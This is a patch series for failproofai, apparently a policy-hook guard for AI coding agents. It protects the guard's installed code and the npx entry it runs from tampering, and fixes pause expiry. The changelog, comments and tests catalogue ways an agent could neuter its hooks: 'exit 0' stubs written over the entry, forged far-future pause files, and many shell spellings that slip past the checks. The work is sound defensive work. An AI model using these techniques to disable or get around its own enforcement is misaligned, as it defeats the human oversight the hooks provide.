-31,7 +31,7 @@ */ import { existsSync, mkdirSync, readdirSync, readFileSync, rmSync } from "node:fs"; import { createHash } from "node:crypto"; -import { join, resolve } from "node:path"; +import { basename, join, resolve } from "node:path"; import { writeJsonAtomically } from "../../lib/atomic-write"; import { getAllHookActivityEntries } from "./hook-activity-store"; import { sessionPauseDir } from "./fp-home"; @@ -244,31 +244,42 @@ export function clearPause(sessionId: string): boolean { } /** - * Remove every pause file, whatever it holds. Returns how many pauses were - * ACTIVE, which is what a person ending them is told. + * Remove every pause file, whatever it holds. * * Every file, not every active pause: a file dated in the future is not honoured * yet, so it is not listed, and clearing only the listed ones left it to turn * live later — out of sight of the `--resume --all` meant to end them all. + * + * `cleared` counts the ACTIVE pauses whose file is really gone, which is what a + * person ending them is told; `incomplete` says something stayed behind — a file + * that would not go, or a directory that could not be read. Reporting the active + * count instead said "Resumed" over a file a read-only directory had kept, and + * the hook went on reading it as paused (found in review, PR #1050). */ -export function clearAllPauses(now = Date.now()): number { - const active = listActivePauses(now).length; +export function clearAllPauses(now = Date.now()): { cleared: number; incomplete: boolean } { const dir = pauseStateDir(); - let names: string[] = []; + const activeFiles = new Set(listActivePauses(now).map((pause) => basename(pauseFilePath(pause.sessionId)))); + let names: string[]; try { names = readdirSync(dir); - } catch { - return active; + } catch (err) { + // No directory means nothing was ever paused; any other failure means the + // pauses in it are still there, still read by the hook by name. + return { cleared: 0, incomplete: (err as NodeJS.ErrnoException).code !== "ENOENT" }; } + let cleared = 0; + let incomplete = false; for (const name of names) { if (!name.endsWith(".json")) continue; try { rmSync(join(dir, name)); + if (activeFiles.has(name)) cleared++; } catch { // One file that will not go must not stop the rest. + incomplete = true; } } - return active; + return { cleared, incomplete }; } /** Every pause that has not yet expired, newest first. Expired files are ignored. */ From bda88fdee39276373e02836f13ce4f14529d4bb6 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:47:10 +0530 Subject: [PATCH 05/60] [hooks] CHANGELOG: move #1050's lines to 1.0.17-beta.0 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index da392e55c..9cf118ec8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,8 @@ ### Fixes - Release workflows now open the version-bump pull request themselves, using the job's own token, when the repository lets GitHub Actions create pull requests. When it does not, the run prints the pre-filled link as a warning and the release still succeeds. A re-run reuses an open bump pull request instead of opening a second one (#1052) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-24 @@ -15,8 +17,6 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 From 41ef6796c2889769e8e8b6850cc17bdd3d44503e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:17:41 +0530 Subject: [PATCH 06/60] [hooks] Test: the always-on guard must protect the entry a project-scope npx hook runs (#1795) Fails on FailproofAI/failproofai#1050's head: 43 of the 44 deny cases are allowed there (writes to node_modules/.bin/failproofai in the project, a parent directory, home or the npx cache; Windows shims; through links; and shell spellings including a file named failproofai copied into .bin/). Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 255 ++++++++++++++++++++ 1 file changed, 255 insertions(+) create mode 100644 __tests__/hooks/guard-npx-local-bin.test.ts diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts new file mode 100644 index 000000000..d844fa6d5 --- /dev/null +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -0,0 +1,255 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { listIntegrations } from "../../src/hooks/integrations"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as guard-installed-code.test.ts. The symlink cases below use the +// real synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "#!/bin/sh\nexit 0\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +/** + * A project-scope hook is `npx -y failproofai --hook …`, so that a committed + * settings file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. One Write of `exit 0` there turned every later hook in that tree + * into an allow, and the stub stayed for every later session — the guard + * protected `~/.failproofai` and, with #1050, the installed package, but not + * the entry npx actually runs. (FailproofAI/agenteye#1795) + */ +describe("block-failproofai-commands — the entry a project-scope npx hook runs", () => { + describe("file tools", () => { + it.each([ + ["the project's own", "/work/proj/node_modules/.bin/failproofai"], + ["a parent directory's", "/work/node_modules/.bin/failproofai"], + ["the home directory's, above every project in it", "/home/u/node_modules/.bin/failproofai"], + ["the npx cache's", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/.bin/failproofai"], + ["a monorepo package's", "/work/proj/packages/api/node_modules/.bin/failproofai"], + ])("denies writing %s node_modules/.bin/failproofai", async (_where, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + // npm writes `.cmd` and `.ps1` shims beside the entry on Windows, and bun + // writes `.exe` and `.bunx`. + it.each([ + "C:\\work\\proj\\node_modules\\.bin\\failproofai", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.cmd", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.ps1", + "C:/work/proj/node_modules/.bin/failproofai.exe", + "C:/work/proj/node_modules/.bin/failproofai.bunx", + ])("denies writing the Windows entry %s", async (path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + it("denies Edit and NotebookEdit of the entry", async () => { + const edit = await policy.fn( + makeCtx({ + toolName: "Edit", + toolInput: { file_path: "/work/proj/node_modules/.bin/failproofai", old_string: "exec", new_string: "exit 0 #" }, + }), + ); + expect(edit.decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: "/work/proj/node_modules/.bin/failproofai" } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + it("denies the relative path a write from the project names", async () => { + expect((await write("node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("./node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("../node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, and a path resolver + // collapses `//` and `/./`: every one of these opens the same file. + it("matches every spelling that opens the same file", async () => { + expect((await write("/Users/u/proj/Node_Modules/.BIN/FailproofAI")).decision).toBe("deny"); + expect((await write("/work/proj/node_modules//.bin/./failproofai")).decision).toBe("deny"); + }); + + describe("through links", () => { + let root: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-guard-")); + mkdirSync(join(root, "proj", "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(root, "proj", "tools"), { recursive: true }); + // Neither link's own path says anything about failproofai or `.bin`. + symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "tools", "bins")); + symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "tools", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // The entry does not exist yet in a project with no dependencies, so the + // link is dangling: the write creates the stub at the link's target. + it("denies a write through a link to the entry, even before it exists", async () => { + expect((await write(join(root, "proj", "tools", "hook"))).decision).toBe("deny"); + }); + + it("denies a write through a link to the .bin directory", async () => { + expect((await write(join(root, "proj", "tools", "bins", "failproofai"))).decision).toBe("deny"); + expect((await write("tools/bins/failproofai", join(root, "proj"))).decision).toBe("deny"); + }); + + it("still allows other files through the same link", async () => { + expect((await write(join(root, "proj", "tools", "bins", "my-script"))).decision).toBe("allow"); + }); + }); + + // The entry, and nothing else that lives beside it or shares its name. + it.each([ + ["another package's entry", "/work/proj/node_modules/.bin/tsc"], + ["an entry that only shares a prefix", "/work/proj/node_modules/.bin/failproofai-extras"], + ["a name npx never runs for `failproofai`", "/work/proj/node_modules/.bin/failproofai.sh"], + ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], + ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + describe("shell commands", () => { + it.each([ + ["a redirect", "printf '#!/bin/sh\\nexit 0\\n' > node_modules/.bin/failproofai"], + ["an append", "echo 'exit 0' >> ./node_modules/.bin/failproofai"], + ["a copy", "cp /tmp/stub.sh node_modules/.bin/failproofai"], + ["a move", "mv /tmp/stub.sh node_modules/.bin/failproofai"], + ["a link", "ln -sf /tmp/stub.sh node_modules/.bin/failproofai"], + ["tee", "tee node_modules/.bin/failproofai < /tmp/stub.sh"], + ["install", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai"], + ["making a stub executable", "chmod +x node_modules/.bin/failproofai"], + ["an in-place sed", "sed -i 's/exec/exit 0 #/' node_modules/.bin/failproofai"], + ["an interpreter writing it", `python3 -c "open('node_modules/.bin/failproofai','w').write('exit 0')"`], + ["a parent directory's entry", "cp /tmp/stub.sh ../node_modules/.bin/failproofai"], + ["the home directory's entry", "cp /tmp/stub.sh ~/node_modules/.bin/failproofai"], + ["the entry named from inside node_modules", "cd node_modules && cp /tmp/stub.sh .bin/failproofai"], + ["the Windows shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.cmd"], + ["a variable holding the entry", "B=node_modules/.bin/failproofai; cp /tmp/stub.sh $B"], + ["a glob onto the entry", "cp /tmp/stub.sh node_modules/.bin/fail*"], + ["a quoted spelling", `cp /tmp/stub.sh node_modules/.bin/fail"proof"ai`], + // The path is on the line only in pieces: a file named `failproofai` + // copied, moved or linked INTO the directory npx searches. + ["a copy into the .bin directory", "cp /tmp/stage/failproofai node_modules/.bin/"], + ["a copy into the .bin directory, no trailing slash", "cp /tmp/stage/failproofai node_modules/.bin"], + ["a move into the .bin directory", "mv ./failproofai node_modules/.bin/"], + ["a link into the .bin directory", "ln -s /tmp/stage/failproofai node_modules/.bin"], + ["a copy with -t", "cp -t node_modules/.bin /tmp/stage/failproofai"], + ["a copy with --target-directory=", "cp --target-directory=node_modules/.bin /tmp/stage/failproofai"], + ["install -D into the directory", "install -D -m 755 /tmp/stage/failproofai node_modules/.bin/"], + ["rsync into the directory", "rsync -a /tmp/stage/failproofai node_modules/.bin/"], + ["a copy among other files", "cp /tmp/a.sh /tmp/stage/failproofai /tmp/b.sh node_modules/.bin/"], + ["a copy after --", "cp -- /tmp/stage/failproofai node_modules/.bin/"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The same rule reaches the paths #1050 protects: moving a package + // directory named `failproofai` into a global `node_modules` replaces it. + it("denies moving a directory named failproofai into a node_modules", async () => { + expect(await bash("mv /tmp/build/failproofai /home/u/.nvm/versions/node/v22.11.0/lib/node_modules/")).toBe("deny"); + }); + + it.each([ + ["running another package's binary", "./node_modules/.bin/vitest run"], + ["running a binary through node", "node node_modules/.bin/eslint src"], + ["running a binary by its relative path", "node_modules/.bin/tsc --noEmit -p ."], + ["listing the directory", "ls -la node_modules/.bin"], + ["looking at the entry", "ls -l node_modules/.bin/failproofai"], + ["reading the entry", "cat node_modules/.bin/failproofai"], + ["resolving the entry", "readlink -f node_modules/.bin/failproofai"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every entry", "rm -rf node_modules/.bin/*"], + ["installing dependencies", "npm install"], + ["adding a dev dependency", "npm i -D vitest"], + ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], + ["copying an entry out", "cp node_modules/.bin/failproofai /tmp/inspect"], + ["copying a whole build directory", "cp -r dist/ node_modules/.bin/"], + ["moving a source file", "mv src/failproofai.ts src/guard.ts"], + ["backing a directory up", "cp -r node_modules/.bin /tmp/bin-backup"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + }); + + // The guard protects the entry by NAME, so it has to be the name every + // project-scope hook hands npx. If an integration ever installs a different + // package or bin name, this fails instead of the guard silently protecting a + // file no hook runs. + it("protects the name every project-scope npx hook command runs", async () => { + const names = new Set(); + let shellIntegrations = 0; + for (const integration of listIntegrations()) { + if (!integration.scopes.includes("project")) continue; + let found = false; + for (const eventType of integration.eventTypes) { + const entry = JSON.stringify(integration.buildHookEntry("/opt/fp/bin/failproofai", eventType, "project")); + for (const [, name] of entry.matchAll(/npx -y (\S+)/g)) { + names.add(name); + found = true; + } + } + if (found) shellIntegrations++; + } + // OpenCode's entry is a plugin path; the npx call is inside the shim that + // install writes next to it. + const dir = mkdtempSync(join(tmpdir(), "fpai-npx-guard-opencode-")); + const cwd = vi.spyOn(process, "cwd").mockReturnValue(dir); + try { + listIntegrations() + .find((integration) => integration.id === "opencode")! + .writeHookEntries({}, "/opt/fp/bin/failproofai", "project"); + const shim = readFileSync(join(dir, ".opencode", "plugins", "failproofai.mjs"), "utf8"); + const spawned = [...shim.matchAll(/\["-y", "([^"]+)"/g)].map(([, name]) => name); + expect(spawned.length).toBeGreaterThan(0); + for (const name of spawned) names.add(name); + } finally { + cwd.mockRestore(); + rmSync(dir, { recursive: true, force: true }); + } + // Claude, Codex, Copilot, Cursor, Factory, Devin, Antigravity and Goose. + expect(shellIntegrations).toBeGreaterThanOrEqual(8); + expect([...names]).toEqual(["failproofai"]); + for (const name of names) { + expect((await write(`/work/proj/node_modules/.bin/${name}`)).decision).toBe("deny"); + expect(await bash(`cp /tmp/stub.sh node_modules/.bin/${name}`)).toBe("deny"); + } + }); +}); From 534727558a5dfecc063a959334a28fa553f18f81 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:17:41 +0530 Subject: [PATCH 07/60] [hooks] Guard node_modules/.bin/failproofai, the entry project-scope npx hooks run (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Project-scope hooks are `npx -y failproofai --hook …`, and npx runs a node_modules/.bin/failproofai it finds in the project or any directory above it before the global install or its cache, without checking it. One agent Write of an `exit 0` stub there turned every later hook in that tree into an allow, in every later session. - FAILPROOFAI_CODE_PATH_RE (from #1050) also matches `.bin/failproofai` and the Windows shims npm and bun write beside it, so the file tools (through links too), the shell walk, variable tracking and globs all see it. - The shell walk also judges the name a source lands under when it is copied, moved or linked INTO a directory (`cp /tmp/x/failproofai node_modules/.bin/`, `-t`, `--target-directory=`), unless the source is itself protected (a backup). - Docs: local-configuration says what a project-scope hook trusts and that user-scope hooks run the installed CLI by absolute path. Co-Authored-By: Claude Opus 5.5 --- docs/policies/local-configuration.mdx | 2 + src/hooks/builtin-policies.ts | 85 ++++++++++++++++++++++++++- 2 files changed, 85 insertions(+), 2 deletions(-) diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 46fcbace5..4fd54d444 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,6 +22,8 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project itself provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`, and it applies the project's `.npmrc`. `block-failproofai-commands` refuses an agent's writes to `node_modules/.bin/failproofai`, but it does not read `package.json` or `.npmrc` edits. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so nothing in a repository changes what they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. + Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. | Scope | Policy configuration file | diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 9c13eef60..34c88d375 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -474,11 +474,17 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; * tampered client never asks it. The state pattern below needs a `.` the * package path does not have (FailproofAI/agenteye#1796). * + * Project-scope hooks are portable instead: `npx -y failproofai --hook …`, so + * the committed file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. So one Write of `exit 0` to that path turned every later hook in + * that tree into an allow, and kept doing it in every later session + * (FailproofAI/agenteye#1795). That entry is matched below too. + * * A checkout of this repository matches none of the shapes below — no * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard * does not stand in front of working on failproofai itself. - * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here - * either (FailproofAI/agenteye#1795). * * Case-insensitive because macOS volumes are by default: every casing of these * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path @@ -501,6 +507,15 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // the variables nvm and pnpm export for those directories. A FILE, so a // directory of that name (`~/bin/failproofai/src/…`) is not it. String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + // The entry `npx -y failproofai` runs first: `.bin/failproofai` in a + // `node_modules` of the project or of any directory above it (and in the + // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) + // write beside it on Windows. Not anchored on `node_modules`, so the + // relative `.bin/failproofai` a command run from inside `node_modules` + // names is the same file. A FILE, like the entry above: the rest of + // `node_modules/.bin` (every other package's binary, run by path all the + // time) stays out of it. + String.raw`\.bin[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, ].join("|"), "i", ); @@ -677,6 +692,17 @@ const LOOP_HEADER_RE = /(?:^|[\s(])(?:while|until|for|select)\s/; */ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); +/** + * Commands that put a file into a directory under the file's OWN name. + * + * `cp /tmp/stage/failproofai node_modules/.bin/` writes + * `node_modules/.bin/failproofai`, and that path appears nowhere on the line: + * the source names a scratch file and the destination names a directory that + * holds every package's binary. So the name a source would land under is + * judged as well as the operands as written (FailproofAI/agenteye#1795). + */ +const INTO_DIRECTORY_COMMANDS = new Set(["cp", "mv", "ln", "install", "rsync"]); + /** * Commands that write EVERY path operand they are given. * @@ -843,6 +869,10 @@ const STATE_GLOB_CANDIDATES = [ "/opt/homebrew/bin/failproofai", "~/.bun/bin/failproofai", "~/.volta/bin/failproofai", + // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795). + "node_modules/.bin/failproofai", + "./node_modules/.bin/failproofai", + ".bin/failproofai", ]; /** @@ -865,6 +895,9 @@ const GLOB_DECOYS = [ "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", + // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the + // sweep it is rather than an aim at failproofai's. + "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", ]; /** @@ -1292,6 +1325,50 @@ function commandWords(simpleCommand: string): string[] { return tokens.slice(i); } +/** + * True when a copy, move or link would leave one of its sources at a protected + * path inside the directory it writes into (see `INTO_DIRECTORY_COMMANDS`). + * + * The directory is `-t` / `--target-directory`'s value, or else the last + * operand. Whether that operand really is a directory is not checked: when it + * is a file, `/` is a path nothing writes, and it can only match + * when a source is itself named like a protected file and the operand like the + * directory that holds it. A source that is ALREADY a protected path is left to + * the destination check it always had: `cp -r ~/.failproofai /tmp/backup/` + * lands at `/tmp/backup/.failproofai`, a name the state pattern matches, and is + * a backup, not a write onto anything. `rsync src/` copies what is IN `src`, + * whose names are not on the line, so a source with a trailing separator is + * judged by nothing here, as a whole directory moved over a parent never was. + */ +function landsInDirectoryAs(words: string[], namesState: (text: string) => boolean): boolean { + if (words.length === 0 || !INTO_DIRECTORY_COMMANDS.has(commandBasename(words[0]))) return false; + const args = words.slice(1); + const operands: string[] = []; + let directory: string | undefined; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg === "-t" || arg === "--target-directory") { + directory = args[++i]; + } else if (arg.startsWith("--target-directory=")) { + directory = arg.slice("--target-directory=".length); + } else if (!arg.startsWith("-")) { + operands.push(arg); + } + } + const sources = directory === undefined ? operands.slice(0, -1) : operands; + const into = (directory ?? operands[operands.length - 1] ?? "").replace(/[\\/]+$/, ""); + if (into === "") return false; + return sources.some((source) => { + if (/[\\/]$/.test(source) || namesState(source)) return false; + const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); + return name !== "" && name !== "." && name !== ".." && namesState(`${into}/${name}`); + }); +} + /** * True when this one simple command would destroy whatever it is pointed at. * @@ -1524,6 +1601,10 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // the rest of the line was judged as if it stood in the state directory. cwdInState = false; cdParenDepth = null; + } else if (landsInDirectoryAs(words, namesState)) { + // Before the `reachesState` gate, because the point is that nothing on + // the line names the path: the source's name and the directory do. + return true; } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. From 248036ec4124bfcad4faa992b18bfc05f9078242 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:43:53 +0530 Subject: [PATCH 08/60] [hooks] Address review: redirects, -t spellings, cd, globs and .bin swaps (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Independent review found ways past the first commit; each is reproduced in the test file, which now fails 77 of its 78 deny cases on #1050's head and passes all 111 cases here. - commandWords drops redirects and stops at a comment after the command word. The copy checks took the last word for the destination, so `… 2>/dev/null` or `… # x` walked through, for the state as well (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`). - landsInDirectoryAs reads each command's options: every spelling of -t (`-tDIR`, `-vt`, `--target`), option values are not sources (`install -o failproofai`), `install -d` copies nothing, and rsync's -t is --times. A protected-looking source still counts when it lands on installed code (`cp /tmp/bin/failproofai node_modules/.bin/`). A directory moved, linked or copied recursively onto a node_modules/.bin is refused. - The walk follows cd/pushd/popd and subshells, so a relative word after `cd node_modules/.bin` is judged where it resolves. - Globs are tried against every stretch of a path, not only its prefixes: `/work/proj/node_modules/.bin/fail*` and `/home/alice/.failproof*` named nothing before. - The .bin pattern starts a path component (`firmware.bin/failproofai` is not it). Docs no longer overstate what the guard catches. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 106 +++++++++- docs/policies/local-configuration.mdx | 2 +- src/hooks/builtin-policies.ts | 222 ++++++++++++++++---- 3 files changed, 285 insertions(+), 45 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index d844fa6d5..69a2c276a 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -141,6 +141,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a name npx never runs for `failproofai`", "/work/proj/node_modules/.bin/failproofai.sh"], ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], + ["a file under a directory whose name ends in .bin", "/data/firmware.bin/failproofai"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -187,6 +188,84 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash("mv /tmp/build/failproofai /home/u/.nvm/versions/node/v22.11.0/lib/node_modules/")).toBe("deny"); }); + // Every GNU spelling of the target directory, which puts the sources AFTER + // it. rsync has no such option: its `-t` is `--times`, and its last operand + // is still the destination. + it.each([ + ["-t glued to its value", "cp -tnode_modules/.bin /tmp/stage/failproofai"], + ["-t at the end of a cluster", "cp -vt node_modules/.bin /tmp/stage/failproofai"], + ["-t inside install's cluster", "install -Dt node_modules/.bin /tmp/stage/failproofai"], + ["-t on ln", "ln -st node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target=", "cp --target=node_modules/.bin /tmp/stage/failproofai"], + ["an abbreviated --target with its value apart", "cp --target node_modules/.bin /tmp/stage/failproofai"], + ["rsync's -t, which is --times", "rsync -t /tmp/stage/failproofai node_modules/.bin/"], + ])("denies a copy into the .bin directory with %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A redirect or a comment after the destination was read as the + // destination, so every copy check judged `2>/dev/null` or `x`. That let + // the state through too, before this file existed. + it.each([ + ["a stderr redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai 2>/dev/null"], + ["a stdout redirect", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai > /dev/null"], + ["2>&1", "rsync /tmp/stub.sh node_modules/.bin/failproofai 2>&1"], + ["an input redirect", "cp /tmp/stub.sh node_modules/.bin/failproofai < /dev/null"], + ["a comment", "cp /tmp/stub.sh node_modules/.bin/failproofai # keep"], + ["a redirect after a copy into the directory", "cp /tmp/stage/failproofai node_modules/.bin/ 2>/dev/null"], + ["a redirect after a link into the directory", "ln -sf /tmp/stage/failproofai node_modules/.bin 2>/dev/null"], + ["the state, emptied the same way", "cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null"], + ])("denies a write followed by %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A source that names a protected path is a copy OUT, except when it lands + // on installed code: a link spelled `…/bin/failproofai` is still a stub. + it("denies a protected-looking source when it lands on the entry", async () => { + expect(await bash("cp /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + expect(await bash("rsync /tmp/bin/failproofai node_modules/.bin/")).toBe("deny"); + }); + + // A protected FILE sits in a directory nothing protects, so the walk has + // to read a relative word from where a `cd` left the shell. + it.each([ + ["a redirect after cd", "cd node_modules/.bin && printf 'exit 0' > failproofai"], + ["a copy after cd", "cd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["a copy 